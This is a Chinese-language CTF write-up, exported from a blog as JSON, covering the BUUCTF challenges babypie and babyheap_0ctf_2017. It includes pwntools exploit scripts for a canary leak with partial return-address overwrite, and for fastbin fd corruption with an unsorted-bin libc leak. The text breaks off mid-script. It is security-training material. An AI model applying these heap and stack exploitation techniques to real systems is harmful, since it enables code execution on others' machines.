{"id":653,"date":"2025-11-05T00:12:31","date_gmt":"2025-11-04T16:12:31","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=653"},"modified":"2025-11-05T00:12:32","modified_gmt":"2025-11-04T16:12:32","slug":"buuctflinkctf_2018-7_babypie%e3%80%81babyheap_0ctf_2017","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/11\/05\/buuctflinkctf_2018-7_babypie%e3%80%81babyheap_0ctf_2017\/","title":{"rendered":"buuctf:linkctf_2018.7_babypie\u3001babyheap_0ctf_2017"},"content":{"rendered":"\n


1\u3001linkctf_2018.7_babypie\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6709\u4e00\u4e2a\u8f93\u5165\uff0c64\u4f4d\u5f00\u4e86NX\uff0ccanary,pie,\u53ea\u80fd\u53bb\u770b\u770b\u4ee3\u7801\u4e86<\/p>\n\n\n\n

\u8fd9\u9898\u6709system\u548c\/bin\/sh<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u63a5\u4e0b\u6765\u770b\u770bsub_960\u51fd\u6570:<\/p>\n\n\n\n

__int64 sub_960()\n{\n  __int64 result; \/\/ rax@1\n  __int64 v1; \/\/ rcx@1\n  __int64 buf; \/\/ [sp+0h] [bp-30h]@1\n  __int64 v3; \/\/ [sp+8h] [bp-28h]@1\n  __int64 v4; \/\/ [sp+10h] [bp-20h]@1\n  __int64 v5; \/\/ [sp+18h] [bp-18h]@1\n  __int64 v6; \/\/ [sp+28h] [bp-8h]@1\n\n  v6 = *MK_FP(__FS__, 40LL);\n  setvbuf(stdin, 0LL, 2, 0LL);\n  setvbuf(_bss_start, 0LL, 2, 0LL);\n  buf = 0LL;\n  v3 = 0LL;\n  v4 = 0LL;\n  v5 = 0LL;\n  puts(\"Input your Name:\");\n  read(0, &buf, 0x30uLL);\n  printf(\"Hello %s:\\n\", &buf, buf, v3, v4, v5);\/\/\u8fd9\u91ccprintf\u4f3c\u4e4e\u6709\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u6211\u4eec\u8bd5\u4e00\u8bd5\u4f1a\u56de\u663e\u4ec0\u4e48\u4e1c\u897f\n  read(0, &buf, 0x60uLL);\/\/\u8fd9\u91cc\u4f1a\u9020\u6210\u6808\u6ea2\u51fa\n  result = 0LL;\n  v1 = *MK_FP(__FS__, 40LL) ^ v6;\n  return result;\n}<\/code><\/pre>\n\n\n\n

\u6765\u8c03\u8bd5\u4e00\u4e0b\uff0c\u9996\u5148\u6211\u4eec\u9700\u8981\u628acanary\u641e\u5b9a\uff1a<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\n#p=remote(\"node5.buuoj.cn\",28242)\np=process(\".\/babypie\")\npayload=b'aaaa'\np.recvuntil(\"Input your Name:\")\np.sendline(payload)\ngdb.attach(p)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

e8-c0=0x28\uff0ccanary\u6700\u540e\u768400\u9700\u8981\u53bb\u6389\u6240\u4ee5\u518d\u52a00x1,\u63a5\u4e0b\u6765\u63a5\u6536canary\uff0c\u6ce8\u610f\u5728canary\u4e4b\u524d\u662fHello aaaaaaaa…<\/p>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",28946)\n#p=process(\".\/babypie\")\npayload=b'a'*(0x28+1)\np.recvuntil(\"Input your Name:\")\np.send(payload)\np.recvuntil(\"Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\ncanary=u64(p.recv(7).ljust(8,b'\\x00'))\nprint(hex(canary))\n#gdb.attach(p)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u63a5\u4e0b\u6765\u5c31\u662f\u8986\u76d6\u8fd4\u56de\u5730\u5740\u7684\u95ee\u9898\u4e86\uff0c\u5c0f\u7aef\u5e8f\uff0c\u800c\u4e14ret\u548c\u540e\u95e8\u7684\u5730\u5740\u5c31\u540e\u4e24\u4f4d\u4e0d\u540c\uff0c\u8986\u76d6\u540e\u4e24\u4f4d\u5c31\u884c\uff0c\u8986\u76d6\u4e3a\\x42<\/p>\n\n\n\n
2\u3001linkctf_2018.7_babypie\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext(arch=\"amd64\",log_level=\"debug\")\np=remote(\"node5.buuoj.cn\",28946)\n#p=process(\".\/babypie\")\npayload=b'a'*(0x28+1)\np.sendafter(b'Input your Name:\\n',payload)\np.recv(6 + 40)\ncanary = u64(p.recv(8)) & (0xffffffffffffff00)\nprint(hex(canary))\npayload = b'a' * 40 + p64(canary) + p64(0) + b'\\x3e'\n#gdb.attach(sh)\np.send(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ec8\u4e8e\u6574\u51fa\u6765\u4e86\uff0c\u5e9f\u4e86<\/p>\n\n\n\n
3\u3001babyheap_0ctf_2017\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u770b\u8d77\u6765\u662f\u4e00\u4e2a\u5178\u578b\u7684\u5806\u9898\uff0c\u83dc\u5355\u4e5f\u6bd4\u8f83\u660e\u786e\uff0c\u8bfb\u8bfb\u4ee3\u7801\uff0c\u6362\u4e86\u4e2a\u65b0\u7684ida\u8981\u66f4\u6e05\u6670\u4e00\u4e9b\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u4e0a\u9762\u662f\u83dc\u5355<\/p>\n\n\n\n
__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n  __int64 v4; \/\/ [rsp+8h] [rbp-8h]\n\n  v4 = sub_B70(a1, a2, a3);\n  while ( 1 )\n  {\n    sub_CF4();\n    switch ( sub_138C() )\n    {\n      case 1LL:\n        sub_D48(v4);\n        break;\n      case 2LL:\n        sub_E7F(v4);\n        break;\n      case 3LL:\n        sub_F50(v4);\n        break;\n      case 4LL:\n        sub_1051(v4);\n        break;\n      case 5LL:\n        return 0LL;\n      default:\n        continue;\n    }\n  }\n}<\/code><\/pre>\n\n\n\n

main\u7684\u8bdd\u5c31\u662f\u4e00\u4e2a\u83dc\u5355\u9009\u62e9\uff0c\u6211\u4eec\u4ece\u90091\u5f00\u59cb\u5206\u6790\u4e5f\u5c31\u662fAllocate<\/p>\n\n\n\n
void __fastcall sub_D48(__int64 a1)\n{\n  int i; \/\/ [rsp+10h] [rbp-10h]\n  int v2; \/\/ [rsp+14h] [rbp-Ch]\n  void *v3; \/\/ [rsp+18h] [rbp-8h]\n\n  for ( i = 0; i <= 15; ++i )\/\/\u6700\u591a\u652f\u630116\u4e2achunk\n  {\n    if ( !*(_DWORD *)(24LL * i + a1) )\n    {\n      printf(\"Size: \");\n      v2 = sub_138C();\n      if ( v2 > 0 )\n      {\n        \/\/\u53ef\u4ee5\u53d1\u73b0\u4e0b\u9762\u5176\u5b9e\u5bf9\u7a7a\u95f4\u6709\u9650\u5236\n        if ( v2 > 4096 )\n          v2 = 4096;\n        v3 = calloc(v2, 1uLL);\n        if ( !v3 )\n          exit(-1);\n        *(_DWORD *)(24LL * i + a1) = 1;\n        *(_QWORD *)(a1 + 24LL * i + 8) = v2;\n        *(_QWORD *)(a1 + 24LL * i + 16) = v3;\n        printf(\"Allocate Index %d\\n\", (unsigned int)i);\n      }\n      return;\n    }\n  }\n}<\/code><\/pre>\n\n\n\n

\u6682\u65f6\u8fd8\u633a\u6b63\u5e38\uff0c\u63a5\u7740\u770bfill<\/p>\n\n\n\n
__int64 __fastcall sub_E7F(__int64 a1)\n{\n  __int64 result; \/\/ rax\n  int v2; \/\/ [rsp+18h] [rbp-8h]\n  int v3; \/\/ [rsp+1Ch] [rbp-4h]\n\n  printf(\"Index: \");\n  result = sub_138C();\n  v2 = result;\n  if ( (unsigned int)result <= 0xF )\n  {\n    result = *(unsigned int *)(24LL * (int)result + a1);\n    if ( (_DWORD)result == 1 )\n    {\n      printf(\"Size: \");\n      result = sub_138C();\n      v3 = result;\n      \/\/\u4e0a\u9762\u662f\u641c\u7d22\u4e4b\u524d\u521b\u5efa\u7684chunk\uff0c\u4e0b\u9762\u5c31\u662f\u771f\u6b63\u5199\u5165\u7684\u8fc7\u7a0b\uff0c\u5982fill\u6240\u8a00\uff0c\u6ca1\u6709\u6ea2\u51fa\u4fdd\u62a4\n      if ( (int)result > 0 )\n      {\n        printf(\"Content: \");\n        return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);\n      }\n    }\n  }\n  return result;\n}<\/code><\/pre>\n\n\n\n

\u8fd9\u91cc\u5c31\u5e94\u8be5\u6709\u4e00\u4e2a\u53ef\u5229\u7528\u7684\u5806\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u7ee7\u7eed\u5f80\u4e0b\u770bfree<\/p>\n\n\n\n
__int64 __fastcall sub_F50(__int64 a1)\n{\n  __int64 result; \/\/ rax\n  int v2; \/\/ [rsp+1Ch] [rbp-4h]\n\n  printf(\"Index: \");\n  result = sub_138C();\n  v2 = result;\n  if ( (unsigned int)result <= 0xF )\/\/\u8d8a\u754c\u68c0\u67e5\n  {\n    result = *(unsigned int *)(24LL * (int)result + a1);\n    \/\/\u4e0b\u9762\u5f00\u59cbfree\n    if ( (_DWORD)result == 1 )\n    {\n      *(_DWORD *)(24LL * v2 + a1) = 0;\n      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;\n      free(*(void **)(24LL * v2 + a1 + 16));\n      result = 24LL * v2 + a1;\n      *(_QWORD *)(result + 16) = 0LL;\n    }\n  }\n  return result;\n}<\/code><\/pre>\n\n\n\n

\u6211\u770b\u8d77\u6765\u5176\u5b9e\u6ca1\u4ec0\u4e48\u95ee\u9898\uff0c\u6700\u540e\u6307\u9488\u4e5f\u7f6e\u96f6\u4e86\uff0c\u4f46\u662fkimi\u8bf4\u6ca1\u6709\u68c0\u67e5\u662f\u5426\u5df2\u7ecf\u88abfree\uff0c\u63a5\u4e0b\u6765\u770b\u770bdump<\/p>\n\n\n\n
int __fastcall sub_1051(__int64 a1)\n{\n  int result; \/\/ eax\n  int v2; \/\/ [rsp+1Ch] [rbp-4h]\n\n  printf(\"Index: \");\n  result = sub_138C();\n  v2 = result;\n  if ( (unsigned int)result <= 0xF )\n  {\n    result = *(_DWORD *)(24LL * result + a1);\n    \/\/\u4e0b\u9762\u5c31\u662f\u5b9e\u9645\u7684\u8f93\u51fa\u64cd\u4f5c\n    if ( result == 1 )\n    {\n      puts(\"Content: \");\n      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));\n      return puts(byte_14F1);\n    }\n  }\n  return result;\n}<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7684\u8bdd\u76f4\u63a5\u7528\u7684\u662f\u4ee5\u524dchunk\u76f4\u63a5\u8bb0\u5f55\u7684size\uff0c\u5982\u679c\u6211\u4eec\u7be1\u6539\u4e86\u4ee5\u524d\u7684size\uff0c\u6267\u884cdump\u65f6\u5c31\u53ef\u4ee5\u6cc4\u9732\u6570\u636e\uff0c\u76ee\u524d\u6765\u770b\u5c31\u662f\u6cc4\u9732libc,\u5229\u7528\u7684\u5c31\u662f\u4e4b\u524d\u7684\u5806\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\n\n\n\n
\u8bb0\u5f97\u4e0a\u6b21\u7528\u8fc7ustored bin attack,\u4f46\u662f\u8fd9\u9053\u9898got\u8868\u4e0d\u53ef\u6539\uff0c\u53ea\u80fd\u6539hook\u3002\u8ddf\u7740\u505a\u4e00\u4e0b\u8fd9\u662f\u8ba9kimi\u63d0\u70bc\u76844\u6b65\uff1a<\/p>\n\n\n\n
1.\u5236\u9020\u4e00\u4e2a unsorted-bin chunk\u5927\u5c0f\u843d\u5728 small\/large \u8303\u56f4\uff080x90 ~ 0x3f0 \u6700\u7a33\uff09\u3002<\/p>\n\n\n\n
2.\u540e\u9762\u518d\u57ab\u4e00\u4e2a\u6b63\u5728\u4f7f\u7528\u7684 chunk\uff0c\u9632\u6b62\u548c top \u5408\u5e76\u3002<\/p>\n\n\n\n
3.free \u5b83 \u2192 \u8fdb\u5165 unsorted bin\uff0c\u6b64\u65f6 fd\/bk \u90fd\u6307\u5411 main_arena+xx\u3002\u7528\u5df2\u6709\u7684\u5806\u6ea2\u51fa\/ UAF \u6539\u6389\u5b83\u7684 bk\u8ba9\u5b83\u6307\u5411\u4f60\u60f3\u6539\u7684\u5730\u5740 \u2013 0x10<\/p>\n\n\n\n
4.\u89e6\u53d1\u4e00\u6b21 malloc\uff08\u5927\u5c0f\u540c\u524d\uff09glibc \u628a\u8fd9\u6761\u4f2a\u94fe\u62c6\u4e0b\u6765\uff0c\u6267\u884c bck->fd = …\uff0c\u76ee\u6807\u5730\u5740\u5c31\u88ab\u5199\u6210 libc \u5730\u5740\u3002<\/p>\n\n\n\n
chunk1\u30012\u9700\u8981\u653e\u5165Fast Bin<\/p>\n\n\n\n
chunk4\uff0c\u6700\u7ec8\u9700\u8981\u653e\u5165unsorted bin\uff0c\u9700\u8981\u6ee1\u8db3\u201c\u91ca\u653e\uff08free\uff09\u7684chunk\u5927\u5c0f\u4e0d\u5c5e\u4e8efast bin\uff0c\u5e76\u4e14\u8be5chunk\u4e0d\u548ctop chunk\u7d27\u90bb\u201d<\/p>\n\n\n\n
chunk0\u7528\u6765\u4fee\u65391.2\uff0cchunk3\u7528\u6765\u6539chunk4<\/p>\n\n\n\n
4\u3001babyheap_0ctf_2017\u5b9e\u64cd<\/h2>\n\n\n\n
\u4e00\u6b65\u4e00\u6b65\u8c03\u8bd5\uff0c\u9996\u5148\u662f\u8ba9chunk1.2\u8fdb\u5165fastbin<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/babyheap_0ctf_2017\")\n#p=remote(\"node5.buuoj.cn\",26865)\n\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n    p.sendlineafter(b\"Command: \",str(2))\n    p.sendlineafter(b\"Index: \",str(index))\n    p.sendlineafter(b\"Size: \",str(size))\n    p.sendlineafter(b\"Content: \",b'content')\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\n\ntiaoshi()\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd9\u91cc\u4ed6\u7ed9\u6211\u4eec\u521b\u5efa\u7684\u65f60x20\u7684\u5806\uff0c\u5f88\u6e05\u695a\u7684\u770b\u5230<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eecfree\u4e86\u4e24\u4e2achunk<\/p>\n\n\n\n
\u597d\u4e86\u63a5\u4e0b\u6765\u5c31\u662f\u5806\u6ea2\u51fa\u4fee\u6539fd<\/p>\n\n\n\n
\u4fee\u65392\u53f7chunk\u4f7f\u5b83\u6307\u54114\uff0c\u5e76\u4fee\u65394\u4e3a0x21,\u8fd9\u68374\u5c31\u770b\u4e0a\u53bb\u88abfree\u6389\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u7684\u8c03\u8bd5\u51fa\u6765\u524d\u9762\u4f1a\u6709\u4e00\u4e2a\u5f88\u5927\u7684chunk\uff0c\u6709\u70b9\u61f5\u903c\uff0c\u5e94\u8be5\u662f\u94fe\u63a5\u5668\u548c\u4f9d\u8d56\u7684\u95ee\u9898\uff0c\u5176\u5b9e\u4e4b\u524d\u6211\u4e5f\u6ca1\u7528\u8fc7glibc-all-in-one\u548cpatchelf\uff0c\u4eca\u5929\u5b66\u7740\u7528\u4e86\u4e00\u4e0b\uff0c\u679c\u7136\u662f\u795e\u5668<\/p>\n\n\n\n
\u9996\u5148\u8fd9\u9053\u9898\u662f\u518dubuntu16\u7684\u73af\u5883\u4e0b\uff0c\u7528\u7684\u662flibc-2.23.so\uff0c\u6211\u4eec\u770b\u770b\u6587\u4ef6\u7684\u4fe1\u606f<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u6240\u4ee5\u6211\u4eec\u9700\u8981\u66f4\u6362\u539f\u6765\u6587\u4ef6\u7684\u4f9d\u8d56\uff0c\u4f7f\u7528glibc-all-in-one\u4e0b\u8f7d\u5bf9\u5e94\u7248\u672c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e.\/download \u76f8\u5e94\u6587\u4ef6<\/p>\n\n\n\n
\u6700\u540e\u7528patchelf\u66f4\u6362\u5c31\u597d\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ldd\u67e5\u770b\u4e00\u4e0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5c31\u53ef\u4ee5\u8fdb\u884c\u8c03\u8bd5\u4e86\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u975e\u5e38\u7684\u6b63\u786e\uff0c\u6ca1\u6709\u83ab\u540d\u5176\u5999\u591a\u5206\u914d\u4e00\u4e2achunk<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u73b0\u5728\u5c31\u662f\u8981\u628achunk2\u7684\u5185\u5bb9\u6539\u4e3achunk4\u7684\uff0c\u5199\u5165\u7684\u4f4d\u7f6e\u662f0x60278c969010,\u8986\u76d6\u7684\u662f0x60278c969050\uff0c\u522b\u5fd8\u4e86\u7528fill\u6765\u5199\u5165
\u5728\u5185\u5b58\u4e2d\u7684\u5341\u516d\u8fdb\u5236\u6570\u662f\u6309\u7167\u5c0f\u7aef\u5e8f\u8fdb\u884c\u6392\u5217\uff0c\u6211\u4eec\u8981\u8986\u76d6\u7684fd\u90e8\u5206\u5728\u8986\u76d6\u524d\u5185\u5b58\u4e2d\u7684\u6837\u5b50\u662f\uff1a<\/p>\n\n\n\n
\\x20\\xc0\u2026\u2026\\x60\\x00\\x00<\/code><\/pre>\n\n\n\n

\u800c\u6211\u4eec\u60f3\u8981\u94fe\u63a5\u5230chunk4\u4e0a\uff0c\u53ea\u9700\u8981\u4fee\u6539\u6700\u4f4e\u6709\u6548\u4f4d\uff080x20\uff09\u62100x80\uff0c\u7528p8(0x80)<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/babyheap_0ctf_2017\")\n#p=remote(\"node5.buuoj.cn\",26865)\n\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n    p.sendlineafter(b\"Command: \",str(2))\n    p.sendlineafter(b\"Index: \",str(index))\n    p.sendlineafter(b\"Size: \",str(size))\n    p.sendlineafter(b\"Content: \",content)\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\npayload=p64(0)*3\npayload+=p64(0x21)\npayload+=p64(0)*3\npayload+=p64(0x21)\npayload+=p8(0x80)\nfill(0,len(payload),payload)\ntiaoshi()\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

fd\u5df2\u7ecf\u6539\u53d8\u4e86\uff0c\u73b0\u5728\u8fd8\u9700\u8981\u4e3b\u8981\u4e00\u4e2a\u77e5\u8bc6\u70b9\uff0cchunk4\u662f\u6ca1\u6709\u88abfree\u7684\uff0c\u800c\u4e14\u5df2\u7ecf\u5b58\u5728\u4e8ebins\u4e2d\uff0c\u5982\u679c\u6b64\u65f6\u518d\u7533\u8bf7\u4e00\u4e2achunk,\u5c31\u53ef\u4ee5\u5b9e\u73b0\u53cc\u6307\u9488\uff0c\u4f46\u662f\u6709\u4e00\u70b9\uff0cfastbin\u7684\u5927\u5c0f\u76f8\u540c\u7684\uff0c\u6240\u4ee5\u4e5f\u8981\u628achunk4\u6539\u4e3a0x21\uff0c\u4e5f\u662f\u5229\u7528\u6ea2\u51fa\u901a\u8fc7chunk3\u6765\u4fee\u6539<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/babyheap_0ctf_2017\")\n#p=remote(\"node5.buuoj.cn\",26865)\n\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n    p.sendlineafter(b\"Command: \",str(2))\n    p.sendlineafter(b\"Index: \",str(index))\n    p.sendlineafter(b\"Size: \",str(size))\n    p.sendlineafter(b\"Content: \",content)\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\npayload=p64(0)*3\npayload+=p64(0x21)\npayload+=p64(0)*3\npayload+=p64(0x21)\npayload+=p8(0x80)\nfill(0,len(payload),payload)\npayload=p64(0)*3\npayload+=p8(0x21)\nfill(3,len(payload),payload)\nallocate(0x10)\nallocate(0x10)\ntiaoshi()\n\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56de\u5f52\u6b63\u9898\uff0c\u6211\u4eec\u7528\u7684\u662funstoredbin attack,\u6211\u4eec\u73b0\u5728\u8981free chunk4\u6210\u4e3aunstored bin<\/p>\n\n\n\n
\u8981\u8ba9\u5176\u8fdb\u5165Unsorted Bin\u9700\u8981\u6ee1\u8db3\u4e24\u4e2a\u6761\u4ef6\uff1a<\/p>\n\n\n\n
1.free\u7684chunk\u5927\u5c0f\u4e0d\u5c5e\u4e8efast bin\u7684\u8303\u56f4<\/p>\n\n\n\n
2.\u8be5chunk\u4e0d\u548ctop chunk\u7d27\u90bb<\/p>\n\n\n\n
\u7b2c\u4e00\u4e2a\u53ef\u4ee5\u6539\u56de0x91\uff0c\u7b2c\u4e8c\u4e2a\u53ef\u4ee5\u7533\u8bf7\u4e00\u4e2achunk5\u89e3\u51b3<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/babyheap_0ctf_2017\")\n#p=remote(\"node5.buuoj.cn\",26865)\nlibc=ELF(\"\/home\/faetong\/glibc-all-in-one\/libs\/2.23-0ubuntu11.3_amd64\/libc-2.23.so\")\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n    p.sendlineafter(b\"Command: \",str(2))\n    p.sendlineafter(b\"Index: \",str(index))\n    p.sendlineafter(b\"Size: \",str(size))\n    p.sendlineafter(b\"Content: \",content)\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    pause()\n\nallocate(0x10)#chunk0\nallocate(0x10)#1\nallocate(0x10)#2\nallocate(0x10)#3\nallocate(0x80)#4\n\nfree(1)\nfree(2)\npayload=p64(0)*3\npayload+=p64(0x21)\npayload+=p64(0)*3\npayload+=p64(0x21)\npayload+=p8(0x80)\nfill(0,len(payload),payload)\npayload=p64(0)*3\npayload+=p8(0x21)\nfill(3,len(payload),payload)\nallocate(0x10)\nallocate(0x10)\n\npayload=p64(0)*3\npayload+=p8(0x91)\nfill(3,len(payload),payload)\nallocate(0x80)\nfree(4)\ntiaoshi()\n\np.interactive()<\/code><\/pre>\n\n\n\n

free\u524d\u7684\u51c6\u5907\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

free\u4ee5\u540e\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5df2\u7ecf\u6210\u529f\u4e86\uff0c\u63a5\u4e0b\u6765\u5c31\u662flibc\u57fa\u5740\u7684\u8ba1\u7b97<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u77e5\u8bc6\u70b9\uff1a<\/p>\n\n\n\n
\u8ba1\u7b97libc\u57fa\u5740\uff1a<\/p>\n\n\n\n
\u25cf small bins, large bins, unsorted bin\u7edf\u4e00\u5b58\u653e\u5728malloc_state\u8fd9\u4e2a\u7ed3\u6784\u4f53\u4e2d\u7684\u4e00\u4e2a\u6570\u7ec4\u4e2d<\/p>\n\n\n\n
\u25cf malloc_state\u5c5e\u4e8emain_arena,main_arena\u662f\u4e00\u4e2a\u5168\u5c40\u53d8\u91cf\uff0c\u4f4d\u4e8elibc\u7684\u6570\u636e\u6bb5<\/p>\n\n\n\n
\u56e0\u6b64\uff0c\u77e5\u9053\u4e0afd\u6307\u9488\/bk\u6307\u9488\u6240\u6307\u5411\u7684\u5730\u5740\uff0c\u90a3\u6211\u4eec\u4e5f\u5c31\u76f8\u5f53\u4e8e\u77e5\u9053\u4e86main_arena\u7684\u57fa\u5740\uff08\u6839\u636e\u56fa\u5b9a\u7684\u504f\u79fb\u91cf\uff09\uff0c\u4e5f\u5c31\u662f\u77e5\u9053\u4e86libc\u7684\u57fa\u5740\uff08\u6839\u636e\u56fa\u5b9a\u7684\u504f\u79fb\u91cf\uff09<\/p>\n\n\n\n
fd\u4e0earena\u4e4b\u95f4\u7684\u504f\u79fb\u91cf\uff1a<\/p>\n\n\n\n
\u52a8\u6001\u8c03\u8bd5\u4e2dfd\u6307\u5411\uff1a0x7f35d67c4b78<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u4f46\u662f\u73b0\u5728\u5c31\u6709\u4e00\u4e2a\u5f88\u70e6\u7684\u95ee\u9898\uff0c\u6ca1\u6709\u7b26\u53f7\u8868\uff0c\u5c31\u770b\u4e0d\u5230dbg\u8ba1\u7b97\u7684\u504f\u79fb\uff0c\u53c8\u53bb\u641c\u7d22<\/p>\n\n\n\n
set debug-file-directory ~\/glibc-all-in-one\/libs\/2.23-0ubuntu11.3_amd64\/.debug<\/code><\/pre>\n\n\n\n
\u4f46\u662f\u6700\u7ec8\u8fd8\u662f\u8c03\u8bd5\u4e0d\u51fa\u6765\uff0c\u6551\u6551\u5b69\u5b50\u5427\uff0c\u597d\u5427\u4eba\u673a\u8bf4fd\u5728main_arena+88\u7684\u4f4d\u7f6e\uff0c\u5c31\u76f8\u5f53\u4e8e\u73b0\u5728\u504f\u79fb\u662f88\uff0c\u4e5f\u5c31\u662f0x58,\u63a5\u4e0b\u6765\u662fmain_arena\u4e0elibc\u57fa\u5740\u4e4b\u95f4\u7684\u504f\u79fb\u91cf\u8ba1\u7b97\u3002\u5c31\u8ddf\u7740\u5927\u4f6c\u505a\u4e00\u4e0b\u3002<\/p>\n\n\n\n
\u56e0\u4e3a\u7a0b\u5e8f\u5f00\u4e86pie\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5728exp\u4e2d\u63a5\u6536\u4e00\u4e0b\u5f53\u65f6\u7684fd\u3002<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=process(\".\/babyheap_0ctf_2017\")\n#p=remote(\"node5.buuoj.cn\",26865)\nlibc=ELF(\"\/home\/faetong\/glibc-all-in-one\/libs\/2.23-0ubuntu11.3_amd64\/libc-2.23.so\")\ndef allocate(size):\n    p.sendlineafter(b\"Command: \",str(1))\n    p.sendlineafter(b\"Size: \",str(size))\n\ndef fill(index,size,content):\n    p.sendlineafter(b\"Command: \",str(2))\n    p.sendlineafter(b\"Index: \",str(index))\n    p.sendlineafter(b\"Size: \",str(size))\n    p.sendlineafter(b\"Content: \",content)\n\ndef free(index):\n    p.sendlineafter(b\"Command: \",str(3))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef dump(index):\n    p.sendlineafter(b\"Command: \",str(4))\n    p.sendlineafter(b\"Index: \",str(index))\n\ndef exit():\n    p.sendlineafter(b\"Command: \",str(5))\n\ndef tiaoshi():\n    gdb.attach(p)\n    